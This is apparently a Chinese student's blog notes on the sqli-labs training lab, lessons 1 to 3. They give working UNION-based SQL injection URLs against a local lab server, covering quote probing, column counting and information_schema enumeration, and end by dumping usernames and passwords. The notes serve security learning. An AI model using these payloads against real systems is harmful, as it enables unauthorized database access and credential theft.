zoukankan      html  css  js  c++  java
  • less1-4

    环境搭建

    1.找到网站的根目录,复制安装包 sqli

     

     

    2.数据库的密码设置

     

     

     

    3.修改网址信息   打开hosts文件

     

     

     

     

     

     

     

     

    16进制转换地址:http://www.bejson.com/convert/ox2str/

    数据库知识
    1.    查库:
    Show databases;
    select schema_name from information_schema.schemata
    2.    查表:
    Show databases;  use security;  show tables;
    select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)
    3.    查列:
    select column_name from information_schema.columns where table_name='users'
    4.    查字段:
    select username,password from security.users



    limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。

    --+、--  (--空格)、#、    都是sql语句中的注释符号~~~~


    正确?id=1      SELECT * FROM users WHERE id='1'  
    正确?id=1'--+      SELECT * FROM users WHERE id='1'     --‘

    mysql  -u root -p  回车再输入密码

    order by  1.   根据第一列的数据进行排序,   
    order by  2  根据第2列的数据进行排序,   




    system_user()   系统用户
    user()     用户
    current_user()  
    database()
    version()   版本信息
    @@datadir   mysql安装路径
    @@version_compile_os   得到当前的操作系统

    group_concat( )
    cancat_ws('~',username,password) 1个数据  拼接函数
     

    库名
    group_concat(schema_name)from information_schema.schemata
    information_schema,challenges,dvwa,jokedb,mysql,pikachu,pkxss,security,test

    表名
    group_concat( table_name) from information_schema.tables where table_schema=0x7365637572697479--+;
    emails,referers,uagents,users

    列名
    group_concat( column_name) from information_schema.columns
     where table_schema=0x7365637572697479--+;
    ‘users’

    id,email_id,id,referer,ip_address,id,uagent,ip_address,username,id,username,password

    user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,user,pass,ip,
    login_time,status,ppp,id,username,password,level,id,username,password,level,id,username,password

    不知道为什么会有这么多

     

     

    echo $sql;   //   构造的sql语句进行输出

    echo “<br>”;  //   换行符号

     

     

     

    hackbar安装

    https://addons.mozilla.org/zh-cn/firefox/addon/hackbar/?src=search

    hackbar就是一种便于渗透测试人员开展SQL注入、XSS、CSRF等测试工作的必备工具。

    打开火狐浏览器添加组件

     

     

     

     

    LESS-1

     

    please input the id as parameter with numeric value

    请以数字值作为参数输入用户标示符。

    http://192.168.50.254/SQLI/lESS-1/?id=2

     

    注意:这里的$id是被单引号包起来的,通过 ' 来验证,输入URL: ?ID=1’

     

    --+、--  (--空格)、#、    都是sql语句中的注释符号~~~~ 、

    http://192.168.50.254/sqli/Less-1/?id=1' or 1=1 --+           对

    http://192.168.50.254/sqli/Less-1/?id=1' or 1=2 --+       对

    http://192.168.50.254/sqli/Less-1/?id=1' and 1=1 --+       对

    http://192.168.50.254/sqli/Less-1/?id=1' and 1=2--+        虽然没有sql语句错误 但是没有我们所需要的数据

     

     

     

     

     

     

     

     

    http://192.168.50.254/sqli/Less-1/?id=1'--+     

     

     

    order by  1.   根据第一列的数据进行排序,

    使用二分法 爆列  得到有三列

    http://192.168.50.254/sqli/Less-1/?id=1'order by 2--+

     

    http://192.168.50.254/sqli/Less-1/?id=1'order by 4--+

     

    Select  1,2,3;

    解释一下select后面几个数字的意思,1,2,3,4...,这里的几个数字纯粹是凑数的,凑够和union关键字前面的那个表的字段数一样,不然没法拼接成一个表。

     

     

     

     

    这样就得到了列数和可以使用的位置  第二列和第三列

     

     

    查库,使得你查询的信息显示到第三列

    LIMIT  要大写

     

    group concat()函数  在特定的位置,是合并成一行输出

     

    查表

     

     

    转换为16进制

    0x7365637572697479    

    16进制转换地址:http://www.bejson.com/convert/ox2str/

     

     

    列名

     

     

    查字段

     

     

     

     

    http://192.168.50.254/sqli/Less-1/?id=-1' union select 1,2,

    group_concat(concat_ws('-',username,password) )from security.users--+;

     

     

    Less-2

     

     

    联合查询   使得前面的语句是错误的  使用负值   回显的位置的 第2列和第三列

     

    查库http://192.168.50.254/sqli/Less-2/?id=-1 union

     select 1,2,group_concat(schema_name) from information_schema.schemata --+

     

    查表

    http://192.168.50.254/sqli/Less-2/?id=-1 union

     select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+     security

     

    查列

    http://192.168.50.254/sqli/Less-2/?id=-1 union

     select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+;        users

     

    查字段

    http://192.168.50.254/sqli/Less-2/?id=-1 union

     select 1,2,group_concat(concat('-',username,password)) from security.users--+;

     

    Less-3

     

     

     

    猜列

    http://192.168.50.254/sqli/Less-3/

    ?id=1') order by 3--+

     

     

    知道了有三列  使用联合查询

    查库

    http://192.168.50.254/sqli/Less-3/?id=-1')

    union select 1,2,group_concat(schema_name) from information_schema.schemata --+

     

    查表

    http://192.168.50.254/sqli/Less-3/?id=-1')

    union select 1,2,group_concat(table_name) from information_schema.tables where   table_schema=0x7365637572697479 --+ 

     

    猜列

    http://192.168.50.254/sqli/Less-3/?id=-1')

    union select 1,2,group_concat(column_name) from information_schema.columns where   table_name=0x7573657273--+ --+ 

     

    猜字段

    http://192.168.50.254/sqli/Less-3/?id=-1')

    union

     select 1,2,group_concat(concat('-',username,password)) from security.users--+;

     

    Less-4

     

     

     

  • 相关阅读:
    access 连接数据库
    Debug 和 Release 的区别
    Centos
    打印画面
    读取文件夹以及消除
    常用的文件文件夹目录的操作函数
    db的操作
    从数据库取数据
    pdf文件的作成
    读取文件
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12216122.html
Copyright © 2011-2022 走看看